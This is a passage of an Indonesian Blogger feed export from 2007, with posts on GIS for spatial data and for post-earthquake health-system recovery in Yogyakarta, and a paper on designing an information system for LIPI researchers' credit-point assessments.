perangkat lunak lain&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="margin-left: 0.5in; text-indent: -0.25in; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;10.&lt;/span&gt;&lt;span style="line-height: 150%;font-size:7;" &gt; &lt;/span&gt;&lt;span style=";font-family:&amp;quot;;" &gt;SIG sangat membantu pekerjaan yang erat kaitannya dengan bidang spasial dan geoinformatika.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="text-indent: 27.45pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Barus dan Wiradisastra (2000) juga mengungkapkan bahwa SIG adalah alat yang handal untuk menangani data spasial, dimana dalam SIG data dipelihara dalam bentuk digital sehingga data ini lebih padat dibanding dalam bentuk peta cetak, tabel atau dalam bentuk konvensional lainnya yang akhirnya akan mempercepat pekerjaan dan meringankan biaya yang diperlukan. &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoBodyTextIndent3" style="text-indent: 27.45pt; line-height: 150%;"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;Sarana utama untuk penanganan data spasial adalah SIG. SIG didesain untuk menerima data spasial dalam jumlah besar dari berbagai sumber dan mengintergrasikannya menjadi sebuah informasi, salah satu jenis data ini adalah data pengindraan jauh. Pengindraan jauh mempunyai kemampuan menghasilkan data spasial yang susunan geometrinya mendekati keadaan sebenarnya dengan cepat dan dalam jumlah besar. Barus dan Wiradisastra (2000) mengatakan bahwa SIG akan memberi nilai tambah pada kemampuan pengindraan jauh dalam menghasilkan data spasial yang besar dimana pemanfaatan data pengindraan jauh tersebut tergantung pada cara penanganan dan pengolahan data yang akan mengubahnya menjadi informasi yang berguna.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;span style="display: none;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-6316578370018438161?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/6316578370018438161/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=6316578370018438161' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6316578370018438161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6316578370018438161'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/sistem-informasi-geografi-siggeographic.html' title='Sistem Informasi Geografi'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-3980098646679658899</id><published>2007-09-22T22:29:00.000-07:00</published><updated>2007-09-22T22:30:07.933-07:00</updated><title type='text'>Sistem informasi geografis dan pemulihan sistem kesehatan</title><content type='html'>Sistem informasi geografis dan pemulihan sistem kesehatan&lt;br /&gt;&lt;br /&gt;kategori: informatika kesehatan masyarakat, IKM&lt;br /&gt;&lt;br /&gt;aduh..... minggu kemarin benar-benar gak produktif. Males banget, mana badan lagi gak gitu sehat. Kemarin dapat pencerahan baru tentang Webgis dari mas Bayu dan mas Trias. Bayu mengatakan bahwa web di Puspics juga dikembangkan menggunakan perangkat open source. Sementara mas Trias mengatakan bahwa Mapserver sudah memiliki kemampuan akses database ke mysql.&lt;br /&gt;&lt;br /&gt;Kini saatnya wilayah DIY-Jateng bangkit setelah menjadi berantakan akibat musibah gempa 27 Mei. Fase emergensi yang serba darurat dan miskin koordinasi berganti menjadi tahapan rekonstruksi untuk membangun kembali semua tatatan, termasuk sistem kesehatan. Sistem kesehatan merupakan urusan semua orang sama halnya kesehatan yang merupakan hak asasi semua pribadi. Sistem kesehatan bukan semata-mata mengenai masalah dokter, perawat, puskesmas, sampai ke imunisasi.&lt;br /&gt;&lt;br /&gt;Membangkitkan sistem kesehatan pasca bencana secara umum bertujuan untuk memulihkan dan memperbaiki sistem yang menjamin kesehatan masyarakat. Hal ini dapat dicapai jika pemerintah memiliki sistem keuangan untuk menjamin akses masyarakat terhadap pelayanan kesehatan tanpa kecuali serta melindungi warga melalui deteksi dini serta pengendalian faktor risiko dan penyebab penyakit. Selain itu juga dilengkapi dengan petugas kesehatan dengan etos kerja yang baik dan berada di fasilitas kesehatan dengan lingkungan yang mendukung, didukung oleh warga yang memiliki perilaku hidup sehat serta dinas maupun infrastruktur masyarakat (NGO, jaringan non formal) lainnya yang kooperatif. Sistem kesehatan yang baik juga harus disertai dengan infrastruktur dan mekanisme untuk memantau kinerja serta mengevaluasi keefektifan sistem itu sendiri.&lt;br /&gt;&lt;br /&gt;Informasi dan kerjasama&lt;br /&gt;Jika ingin cepat bangkit, upaya rekonstruksi kesehatan bergantung kepada informasi yang akurat serta koordinasi yang baik antar sektor.&lt;br /&gt;&lt;br /&gt;Berbagai pihak telah terlibat dalam kegiatan tersebut mulai dari teknik sipil, ilmu kesehatan masyarakat, kedokteran, geografi, geodesi, geologi, teknologi informasi, farmasi, keperawatan dan lain sebagainya. Saat ini, pertanyaannya adalah bagaimana kita dapat mengintegrasikan semuanya? Pada fase emergensi kemarin, sebagian besar informasi mengalir secara cepat, tidak terstruktur dalam bentuk teksual, naratif maupun grafis. Pada fase rekonstruksi, kita memerlukan olahan data yang lebih terstruktur, informatif, mendalam, baik berupa grafik, peta maupun bentuk analisis lainnya. Sehingga, dalam bentuk aplikasi seperti apa, dinas kesehatan (tingkat kabupaten maupun propinsi) dapat memantau, misalnya, kemajuan rekonstruksi puskesmas secara mudah? Bagaimana pula dinas kesehatan tetap dapat mempertahankan cakupan imunisasi? Selain itu, apakah ibu hamil yang berisiko tinggi tetap dapat terpantau agar angka kematian ibu dan bayi tidak tetap terkendali?&lt;br /&gt;&lt;br /&gt;Sistem informasi geografis&lt;br /&gt;Dengan dukungan kemajuan teknologi informasi seperti saat ini, salah satu tool potensial untuk mengintegrasikan adalah sistem informasi geografis (SIG). Sistem informasi geografis merupakan seperangkat tatanan dan prosedur yang meliputi perangkat lunak, perangkat keras untuk mengolah data/informasi dalam konteks spasial (keruangan) untuk mendukung pengambilan keputusan. Meskipun bukan hal baru (seorang John Snow telah menggunakannya untuk memetakan penyakit kolera di London pada abad 19), akan tetapi dengan kekayaan data dan informasi, serta kecanggihan metode analisis, perangkat ini dapat memberikan nuansa baru dalam mendukung, mengawasi, serta meningkatkan proses kebangkitan sistem kesehatan pasca bencana. Model aplikasi berbasis web tidak lagi menjadi aplikasi stand-alone yang terisolir dan merepotkan untuk diupdate.&lt;br /&gt;&lt;br /&gt;Dengan adanya Internet, aplikasi SIG dapat menggabungkan berbagai jenis media grafis. Berbagai gambar foto kerusakan puskesmas dapat di-link-kan ke dalam aplikasi tersebut. Peta satelit maupun foto udara Jogja pun dapat dikombinasikan, disamping koordinat geografis lokasi fasilitas kesehatan dan kamp pengungsi. Gambaran morbiditas penyakit dalam bentuk peta tematik pun dapat lebih memudahkan bagi para pengambil keputusan (baca: dinas kesehatan kabupaten/propinsi maupun pimpinan puskesmas) dalam menganalisis situasi epidemiologis di wilayah mereka.&lt;br /&gt;&lt;br /&gt;Hanya saja, dengan tersedianya berbagai perangkat SIG berbasis web, baik yang komersial maupun gratis, diperlukan kecermatan dan kearifan untuk memilih yang terbaik. Pilihan yang terbaik tidak saja dinilai dari aspek user friendlinessnya, kecepatan akses, serta kemudahan mengupdatenya tetapi juga dengan mempertimbangkan aspek ketersediaan fasilitas teknologi informasi di fasilitas kesehatan serta kemampuan penggunanya. SIG berbasis web tersebut pun juga harus menyesuaikan dengan mekanisme pengumpulan data kesehatan rutin. Sebagai salah satu daerah yang mendapatkan penghargaan karena inovasi e-governmentnya, pemerintah DIY diharapkan sudah siap dengan berbagai infrastrukturnya.&lt;br /&gt;&lt;br /&gt;Skenario terbaik&lt;br /&gt;Jika pada fase emergensi kemarin masyarakat dapat mengirim SMS ke nomer tertentu yang kemudian langsung mempublikasikan di web mengenai wilayah yang membutuhkan makanan dan tenda, maka model yang sama pun dapat diterapkan untuk SIG pemantauan rekonstruksi puskemas. Masyarakat dapat mengambil foto puskesmas, mengirim ke web, langsung ter-link dengan lokasi puskesmas yang rusak untuk menunjukkan kemajuan/perkembangan proses rekonstruksi. Pengiriman komentar melalui SMS pun demikian juga. Dinkes DIY juga sudah berpengalaman mengenai aplikasi ini. Pengakses web (khususnya dari organisasi yang memberikan sumbangan rekonstruksi) dapat mencari dengan mudah lokasi puskesmas yang rusak serta melihat gambaran perkembangan proses rekonstruksi. Ini merupakan bagian dari akuntabilitas sistem kesehatan terhadap mereka yang peduli kepada kita.&lt;br /&gt;&lt;br /&gt;Jika bersiap lebih maju lagi, maka sudah saatnya puskesmas dan rumah sakit dilengkapi dengan fasilitas pencatatan rekam medis yang terkait dengan SIG. Sehingga, hanya dengan menyebutkan dusun (atau desa atau kode pos), maka peta morbiditas penyakit akan terupdate secara otomatis. Pendekatan ini diharapkan dapat memperbaiki mekanisme manual dalam pemantauan wilayah setempat. Tentu saja, secara hipotetis, akan mempermudah kerja bidan ataupun perawat pemantauan faktor risiko di wilayah tersebut.&lt;br /&gt;&lt;br /&gt;Disamping jenis aplikasi, data mengenai kerusakan fasilitas puskesmas pun bisa menjadi bahan kajian spasial. Salah satu contohnya adalah determinan kerusakan fasilitas kesehatan. Data damage assessment bangunan yang telah terkumpul dapat memberikan kontribusi penting bagi ilmu pengetahuan. Pendekatan SIG tentang variabel jarak dari fasilitas kesehatan yang rusak terhadap episentrum serta struktur bangunannya belum memberikan kesimpulan yang seragam. Adanya integrasi serta mekanisme sharing data semoga akan menghasilkan banyak lesson learnt yang dijadikan pelajaran agar bangsa kita semakin tangguh(resilience) menghadapi bencana.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-3980098646679658899?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/3980098646679658899/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=3980098646679658899' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3980098646679658899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3980098646679658899'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/sistem-informasi-geografis-dan.html' title='Sistem informasi geografis dan pemulihan sistem kesehatan'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-3205830171754874952</id><published>2007-09-22T22:09:00.001-07:00</published><updated>2007-09-22T22:29:06.016-07:00</updated><title type='text'>Perancangan Sistem Informasi</title><content type='html'>Perancangan Sistem Informasi Penentuan Angka Kredit Jabatan Fungsional Peneliti&lt;br /&gt;&lt;br /&gt;Engkos Koswara Natakusumah&lt;br /&gt;&lt;br /&gt;Abstact&lt;br /&gt;Aim of the research is to design information system for Penetapan Angka Kredit (PAK) of functional researcher grade based on computerised system. This system produces a report of PAK, and has facilities for data entry and searching, so that, it produces information: accuracy, timelines, and relevancy. This research uses paradigm of system development life cycle, which covers the activities of gathering data through observation, interview, and literature study; system analysis uses flow map; system design uses context diagram, data flow diagram, data dictionary, entity relationship diagram, file relationship, file structure, program structure, input design, output design and menu structure.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Abstrak&lt;br /&gt;&lt;br /&gt;Tujuan penelitian adalah merancang sistem informasi Penetapan Angka Kredit (PAK) untuk jabatan peneliti yang berbasis komputer; sehingga dapat memudahkan dalam membuat laporan penentuan angka kredit, memudahkan pemasukan dan pencarian data sehingga dapat menghasilkan informasi yang akurat, tepat waktu dan relevan. Penelitian menggunakan paradigma siklus hidup pengembangan sistem, meliputi tahapan pengumpulan data dengan observasi, wawancara dan studi pustaka; analisis sistem dengan aliran dokumen; perancangan sistem menggunakan diagram konteks, diagram aliran data, kamus data, diagram relasi entitas, relasi antar file, struktur file, struktur program, sancangan masukan, rancangan luaran, dan struktur menu.&lt;br /&gt;&lt;br /&gt;1. Pendahuluan&lt;br /&gt;Penelitian adalah suatu kegiatan penyelidikan yang dilakukan menurut metode ilmiah yang sistematik untuk menemukan informasi ilmiah dan atau teknologi yang baru, membuktikan kebenaran atau ketidak benaran hipotesa sehingga dapat dirumuskan teori dan atau proses gejala alam dan atau sosial. Hasil penelitian kemudian di publikasi untuk mendapatkan atau meningkatkan jabatan peneliti. Jabatan peneliti adalah kedudukan yang menunjukkan tugas, tanggung jawab, wewenang, dan hak seorang pejabat peneliti dalam suatu satuan organisasi penelitian dan pengembangan. Pejabat peneliti adalah Pegawai Negeri Sipil yang setelah memenuhi syarat-syarat yang ditentukan, diangkat oleh pejabat yang berwenang dalam suatu tingkat jabatan peneliti dan dipekerjakan pada suatu satuan organisasi penelitian dan pengembangan dengan tugas pokok melakukan penelitian dan pengembangan. Pengembangan adalah kegiatan tindak lanjut penelitian untuk mendapatkan informasi tentang cara mempergunakan teori, dan atau proses, untuk tujuan praktis (1). Hasil penelitian dan pengembangan yang akan di hitung angka kredit penelitinya harus disampaikan ke P2JP, P2JP mengolah Penetapan angka kredit bagi para peneliti di Indonesia. Penentuan PAK dilakukan melalui beberapa proses yang dapat dilihat pada Gambar 1.&lt;br /&gt;Penelitian bertujuan untuk merancang sistem informasi Penetapan Angka Kredit (PAK) untuk Jabatan Peneliti berbasis komputer; sehingga dapat memudahkan dalam membuat laporan penentuan angka kredit, memudahkan pemasukan dan pencarian data sehingga dapat menghasilkan informasi yang akurat, tepat waktu dan relevan. Penelitian menggunakan paradigma System Development Life Cycle (2), meliputi tahapan pengumpulan data dengan observasi, wawancara, dan studi pustaka; Analisis sistem dengan flow map; perancangan sistem dengan menggunakan diagram konteks, DFD, kamus data, ERD, relasi antar file, struktur file, struktur program, rancangan masukan, rancangan luaran, dan struktur menu.&lt;br /&gt;&lt;br /&gt;2. Pengumpulan Data dan Analisis Sistem&lt;br /&gt;Pengumpulan data dilakukan melalui observasi dan wawancara dengan petugas di P2JP LIPI. Selain itu dilakukan juga studi literatur yang berhubungan dengan jabatan peneliti, seperti pengertian jabatan peneliti, perolehan jabatan peneliti, jenjang peneliti, perhitungan angka kredit, unsur yang dinilai, tata cara pengajuan angka kredit, tata cara penilaian, dll.&lt;br /&gt;Analisis sistem ditujukan untuk menganalisis sistem yang sedang berjalan, sehingga dapat dipahami keadaan sistem yang ada, analisis ini biasanya menggunakan diagram alir dokumen. Aliran dokumen dari satu bagian ke bagian lain dapat terlihat dengan jelas, begitu juga adanya penyimpan data, yang dilakukan secara manual. Analisis dilakukan juga pada proses Penetapan Angka Kredit Jabatan Penelitian yang biasa dilakukan. Hasil analisis ini kemudian digunakan untuk merancang sistem informasi yang diperlukan.&lt;br /&gt;&lt;br /&gt;Pengertian Jabatan Peneliti di jelaskan dalam Surat Edaran Bersama Kepala Badan Administrasi Kepegawaian Negara dan Ketua Lembaga Ilmu Pengetahuan Indonesia Nomor 15/SE/1982 dan Nomor 704/KEP/J.10/1982 tanggal 27 Oktober 1982 (1). Urutan jabatan peneliti adalah sebagai berikut: Asisten Peneliti Muda, Asisten Peneliti Madya, Ajun Peneliti Muda, Ajun Peneliti Madya, Peneliti Muda, Peneliti Madya, Ahli Peneliti Muda, Ahli Peneliti Madya, dan Ahli Peneliti Utama.&lt;br /&gt;Jenjang Pangkat Jabatan Peneliti adalah sebagai berikut:&lt;br /&gt;Tabel 1. Jenjang Pangkat Peneliti&lt;br /&gt;Jabatan Peneliti    Pangkat dan Golongan Ruang&lt;br /&gt;Asisten Peneliti Muda    Penata Muda, Golongan Ruang III/a&lt;br /&gt;Asisten Peneliti Madya    Penata Muda Tingkat I, Golongan Ruang III/b&lt;br /&gt;Ajun Peneliti Muda    Penata, Golongan Ruang III/c&lt;br /&gt;Ajun Peneliti Madya    Penata Tingkat I, Golongan Ruang III/d&lt;br /&gt;Peneliti Muda    Pembina, Golongan Ruang IV/a&lt;br /&gt;Peneliti Madya    Pembina Tingkat I, Golongan Ruang IV/b&lt;br /&gt;Ahli Peneliti Muda    Pembina Utama Muda, Golongan Ruang IV/c&lt;br /&gt;Ahli Peneliti Madya    Pembina Utama Madya, Golongan Ruang IV/d&lt;br /&gt;Ahli Peneliti Utama    Pembina Utama, Golongan Ruang IV/e&lt;br /&gt;&lt;br /&gt;Untuk dapat diangkat dalam jabatan peneliti, seorang Pegawai Negeri Sipil harus memenuhi angka kredit yang ditentukan dan mempunyai tugas pokok melakukan penelitian dan pengembangan dan bekerja pada satuan organisasi penelitian dan pengembangan. Jumlah angka kredit kumulatif minimal yang harus dipenuhi oleh seorang Pegawai Negeri Sipil untuk dapat diangkat menjadi pejabat peneliti adalah sebagaimana dimaksud dalam lampiran II Keputusan Menteri Negara Penertiban Aparatur Negara Nomor 01/MENPAN/1983, yaitu:&lt;br /&gt;(1) Asisten Peneliti Muda    = 100 angka kredit&lt;br /&gt;(2) Asisten Peneliti Madya    = 150 angka kredit&lt;br /&gt;(3) Ajun Peneliti Muda    = 200 angka kredit&lt;br /&gt;(4) Ajun Peneliti Madya    = 300 angka kredit&lt;br /&gt;(5) Peneliti Muda    = 400 angka kredit&lt;br /&gt;(6) Peneliti Madya    = 550 angka kredit&lt;br /&gt;(7) Ahli Peneliti Muda    = 700 angka kredit&lt;br /&gt;(8) Ahli Peneliti Madya    = 850 angka kredit&lt;br /&gt;(9) Ahli Peneliti Utama    = 1000 angka kredit&lt;br /&gt;&lt;br /&gt;Jumlah angka kredit tersebut di atas, harus terdiri dari:&lt;br /&gt;(1) Sekurang-kurangnya 70% (tujuh puluh persen) berasal dari unsur-unsur utama, karya tulis ilmiah, dan atau pemacuan teknologi (lihat Tabel 2).&lt;br /&gt;(2) Sebanyak-banyaknya 30% (tiga puluh persen berasal dari unsur-unsur penunjang, yaitu pemasyarakatan ilmu dan teknologi, keikutsertaan dalam kegiatan ilmiah, pembinaan kader ilmiah, dan atau penghargaan ilmiah&lt;br /&gt;(3) Angka kredit dari unsur kriteria karya tulis ilmiah yang diterbitkan sekurang-kurangnya harus sama dengan jumlah angka kredit dari unsur kriteria karya tulis ilmiah yang belum dan atau tidak diterbitkan.&lt;br /&gt;(4) Untuk dapat diangkat sebagai Ahli Peneliti seorang Pegawai Negeri Sipil wajib memiliki angka kredit dari unsur kriteria karya tulis ilmiah hasil penelitian yang diterbitkandan atau disajikan dalam pertemuan ilmiah dan atau dalam pemacuan teknologi sekurang-kurangnya sebesar 30%(tiga puluh persen) yang di tulis /dibuatnya sendiri atau bersama dengan pejabat peneliti lain, dengan ketentuan ia sebagai penulis/pembuat utamanya.&lt;br /&gt;(5) Apabila suatu karya tulis ilmiah atau pemacuan teknologi atau pemasyarakatan ilmu dan teknologi atau keikutsertaan dalam kegiatan ilmiah ditulis oleh lebih dari seorang, maka pembagian angka kreditnya ditetapkan 60%(enam puluh persen) bagi penulis utama dan 40% (empat puluh persen) bagi semua penulis pembantu.&lt;br /&gt;(6) Apabila kriteria yang dipergunakan dalam penilaian berubah maka yang diperhitungkan hanya selisih angka kreditnya.&lt;br /&gt;(7) Angka kredit dari unsur kriteria pendidikan bergelar hanya diperhitungkan satu kali dan yang dinilai ialah pendidikan tertinggi.&lt;br /&gt;(8) Apabila Pegawai Negeri Sipil memperoleh pendidikan yang lebih tinggi setelah ia diangkat dalam jabatan peneliti, maka yang diperhitungkan hanyalah selisih angka kredit antara pendidikan yang diperoleh sebelumnya dengan pendidikan yang lebih tinggi itu (1).&lt;br /&gt;Untuk membantu analisis sistem yang berjalan maka dibuat flow map atau bagan alir dokumen, seperti telihat pada Gambar 1.&lt;br /&gt;&lt;br /&gt;Tabel 2. Angka kredit yang harus dipenuhi oleh pejabat peneliti&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX1wh79sHI/AAAAAAAAABA/afDRTg2XA7Q/s1600-h/jabatan-gbr1.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 485px; height: 248px;" src="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX1wh79sHI/AAAAAAAAABA/afDRTg2XA7Q/s320/jabatan-gbr1.GIF" alt="" id="BLOGGER_PHOTO_ID_5113263166041469042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gambar 1 Flow Map Sistem P2JP yang sedang berjalan&lt;br /&gt;&lt;br /&gt;Keterangan:&lt;br /&gt;1 = dokumen usulan dari Instansi peneliti&lt;br /&gt;2 = pembuatan disposisi ketua LIPI&lt;br /&gt;3 = dokumen yang sudah di disposisi oleh Ketua LIPI&lt;br /&gt;4 = pembuatan disposisi kepala P2JP&lt;br /&gt;5 = dokumen yang sudah di disposisi oleh kepala P2JP&lt;br /&gt;6 = pembuatan disposisi kepala Biro Organisasi dan Pengawasan&lt;br /&gt;7 = dokumen yang sudah di disposisi oleh kepala BOP&lt;br /&gt;8 = pembuatan disposisi kepala bagian jabatan fungsional&lt;br /&gt;9 = dokumen yang sudah di disposisi oleh kepala bagian jabatan fungsional&lt;br /&gt;10 = mengecek kelengkapan berkas&lt;br /&gt;11 = berkas yang lengkap, yang tidak lengkap dikembalikan ke Instansi pengusul&lt;br /&gt;12 = membuat kelengkapan untuk pengiriman berkas&lt;br /&gt;13 = berkas dan dokumen yang lengkap&lt;br /&gt;14 = penilaian berkas dan dokumen&lt;br /&gt;15 = hasil penilaian&lt;br /&gt;16 = pembuatan disposisi hasil penilaian&lt;br /&gt;17 = dokumen hasil penilaian&lt;br /&gt;18 = persiapan sidang&lt;br /&gt;19 = dokumen kelengkapan sidang&lt;br /&gt;20 = sidang P2JP&lt;br /&gt;21 = hasil sidang P2JP dan berupa format PAK&lt;br /&gt;22 = pengesahan PAK oleh Ketua LIPI&lt;br /&gt;23 = PAK yang sudah disahkan oleh Ketua LIPI&lt;br /&gt;24 = pembuatan surat pengantar PAK&lt;br /&gt;25 = surat pengantar lengkat dengan PAK&lt;br /&gt;26 = surat pengantar dari BOP lengkap dengan PAK&lt;br /&gt;27 = surat pengantar dari BOP lengkap dengan PAK&lt;br /&gt;28 = arsip surat pengatar dan PAK&lt;br /&gt;&lt;br /&gt;3. Perancangan Sistem Informasi&lt;br /&gt;&lt;br /&gt;Berdasarkan hasil analisis sistem kemudian dibuat rancangan sistemnya, meliputi: Diagram Konteks, Data Flow Diagram, Entity Relantionship Diagram (ERD), Relasi antar File, Struktur File, Struktur Program, Struktur Menu, Format Masukan dan Format Luaran.&lt;br /&gt;Diagram konteks menggambarkan suatu sistem informasi secara global, termasuk aliran data dari masukan (input) ke proses kegiatan (sistem), dari proses ke proses, dan dari proses ke luaran (output) menjadi sebuah informasi yang terpadu.&lt;br /&gt;Data Flow Diagram merupakan alat pemodelan dari proses analisis kebutuhan perangkat lunak. Dalam DFD dibahas fungsi-fungsi apa saja yang diperlukan oleh suatu sistem dan aliran data yang terdapat diantara proses di dalamnya. DFD berguna sebagai alat untuk memverifikasikan apakah sistem yang akan dibangun sudah memenuhi kriteria yang diinginkan oleh user atau belum. Data flow diagram dapat dikembangkan dari level yang paling rendah ke level yang lebih tinggi. DFD level 0 merupakan pengembangan dari diagram konteks, DFD level 1 merupakan pengembangan dari DFD level 0. Tiap proses dari DFD dapat dikembangkan lagi menjadi lebih detail sampai proses-proses tersebut tidak dapat dikembangkan lagi. Adapun Data Flow Diagram yang dari Sistem Pemrosesan Angka Kredit (PAK) bagi jabatan peneliti dapat dilihat pada Gambar 2 (DFD Level 0), Gambar 3 (DFD level 1 poses 1) , dan Gambar 4 (DFD level 1 proses 2).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX2zR79sII/AAAAAAAAABI/lhKE7ccmtFc/s1600-h/jabatan-gbr2.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX2zR79sII/AAAAAAAAABI/lhKE7ccmtFc/s400/jabatan-gbr2.GIF" alt="" id="BLOGGER_PHOTO_ID_5113264312797737090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gambar 2. Data Flow Diagram Level&lt;br /&gt;Keterangan : A = Biodata Peneliti; B = Data Penelitian; C = Data Jabatan;&lt;br /&gt;D = Data Golongan; E = Data AKJP; F = Laporan&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX3Ih79sJI/AAAAAAAAABQ/X6LE6Sq2Bjc/s1600-h/jabatan-gbr3.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX3Ih79sJI/AAAAAAAAABQ/X6LE6Sq2Bjc/s400/jabatan-gbr3.GIF" alt="" id="BLOGGER_PHOTO_ID_5113264677869957266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gambar 3. Data Flow Diagram Level 1 Proses 1&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX3eB79sKI/AAAAAAAAABY/NR9VENQigME/s1600-h/jabatan-gbr4.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX3eB79sKI/AAAAAAAAABY/NR9VENQigME/s400/jabatan-gbr4.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265047237144738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 4. Data Flow Diagram Level 1 Proses 2&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX3sB79sLI/AAAAAAAAABg/0kGVPh3GSJ8/s1600-h/jabatan-gbr5.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX3sB79sLI/AAAAAAAAABg/0kGVPh3GSJ8/s400/jabatan-gbr5.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265287755313330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Kamus Data meliputi:&lt;br /&gt;a) Biodata peneliti : Nip, Nama, J_kelamin, Alamat, kota, kode pos, Telp, Agama, Tanggal Pak, Pendidikan.&lt;br /&gt;b) Data Penelitian : Nip, kode penelitian&lt;br /&gt;c) Data Jabatan : Nip, Angka kredit unsur utama, Angka kredit unsur penunjang, Angka kredit karya tulis ilmiah atau Angka kredit pemacuan teknologi.&lt;br /&gt;d) Data Golongan : Kode golongan, Pangkat, Jabatan.&lt;br /&gt;e) Data AKJP : Kode AKJP, Unsur, Sub unsur, Butir, Angka kredit (Unsur = Pendidikan, Karya tulis ilmiah, Pemacuan teknologi, Pemasyarakatan ilmu dan teknologi, Keikut sertaan dalam kegiatan ilmiah, Pembinaan kader ilmiah, Penghargaan ilmiah).&lt;br /&gt;f) Pembuatan laporan: Laporan peneliti (nip, jenis kelamin, agama, pendidikan, semua data), Laporan perolehan angka kredit (nip, semua data), Laporan perolehan jabatan (nip, golongan, semua data).&lt;br /&gt;&lt;br /&gt;Relasi antar file/data base merupakan hubungan yang terjadi antara satu file dengan file yang lain, yang dihubungan dengan suatu kata kunci (key). Hubungan antar file dari Sistem Pemrosesan Angka Kredit bagi Jabatan Peneliti dapat dilihat pada gambar 5&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Gambar 5. Relasi antar file&lt;br /&gt;&lt;br /&gt;Rancangan masukan merupakan tampilan data yang dirancang untuk menerima masukan data dari user sebagai petugas data entry. Rancangan masukan ini harus dapat memberikan kejelasan bagi pemakai, baik dari bentuknya maupun dari masukan-masukan data yang akan diinput. Adapun rancangan masukan dalam Sistem Penetapan Angka Kredit ini ada 2 yaitu rancangan masukan Bio-data dan rancangan masukan perolehan angka kredit. Rancangan masukan bio-data dapat dilihat pada gambar 6 dan rancangan masukan angka kredit jabatan peneliti dapat dilihat pada gambar 7.&lt;br /&gt;&lt;br /&gt;a. Rancangan masukan Biodata&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 